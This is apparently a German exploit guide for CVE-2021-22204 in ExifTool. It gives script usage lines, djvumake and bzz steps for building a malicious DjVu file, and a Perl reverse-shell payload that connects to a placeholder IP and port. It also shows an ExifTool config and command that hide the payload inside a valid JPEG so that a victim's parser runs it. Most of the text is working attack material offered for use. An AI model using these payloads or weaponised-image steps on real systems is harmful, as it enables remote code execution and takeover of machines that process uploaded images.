
Exploit-Skript für CVE-2021-22204, eine ExifTool-RCE über bösartige DjVu-Dateien, mit manuellen Exploit-Schritten und Reverse-Shell-Payloads.
Die unzureichende Neutralisierung von Benutzerdaten im DjVu-Dateiformat in ExifTool Versionen 7.44 und höher ermöglicht die Ausführung beliebigen Codes beim Parsen der bösartigen Bilddatei.

Systembefehl:
bash CVE-2021-2204.sh "system('id')" happy.jpg
Reverse Shell
bash CVE-2021-2204.sh "reverseme 10.10.10.10 9999" happy.jpg
*Ihre IP und PORT
$ sudo apt install djvulibre-bin
# Installs the required tools
$ bzz payload payload.bzz
# Compress our payload file with to make it non human-readable
$ djvumake exploit.djvu INFO='1,1' BGjp=/dev/null ANTz=payload.bzz
# INFO = Anything in the format 'N,N' where N is a number
# BGjp = Expects a JPEG image, but we can use /dev/null to use nothing as background image
# ANTz = Will write the compressed annotation chunk with the input file
Payload
(metadata "\c${system('id')};")
Payload (für Reverse Shell)
(metadata "\c${use Socket;socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp'));if(connect(S,sockaddr_in(9999,inet_aton('localhost')))){open(STDIN,'>&S');open(STDOUT,'>&S');open(STDERR,'>&S');exec('/bin/sh -i');};};#")
Wenn das Opfer dann die Datei exploit.djvu mit einer verwundbaren Version von ExifTool öffnet, führt unser eingebetteter Perl-Code den Befehl id aus.
%Image::ExifTool::UserDefined = (
# All EXIF tags are added to the Main table, and WriteGroup is used to
# specify where the tag is written (default is ExifIFD if not specified):
'Image::ExifTool::Exif::Main' => {
# Example 1. EXIF:NewEXIFTag
0xc51b => {
Name => 'HasselbladExif',
Writable => 'string',
WriteGroup => 'IFD0',
},
# add more user-defined EXIF tags here...
},
);
1; #end%
Was diese Datei bewirkt, ist, dass es uns ermöglicht, einen neuen Tag in der Datei zu schreiben, mit dem Namen HasselbladExif und den Bytes 0xc51b, um ihn in unserer neuen Datei zu identifizieren. Dann können wir ihn in jede beliebige Datei einfügen. [8] Anschließend verwenden wir ihn zusammen mit unserem bereits erstellten exploit.djvu, um die schädliche DjVu-Datei in ein gültiges JPEG einzufügen.
$ exiftool -config configfile '-HasselbladExif<=exploit.djvu' hacker.jpg
configfile = Der Name unserer Konfigurationsdatei;
-HasselbladExif = Tag-Name, wie in der Konfigurationsdatei angegeben;
exploit.djvu = Unser Exploit, zuvor mit djvumake erstellt;
hacker.jpg = Eine gültige JPEG-Datei;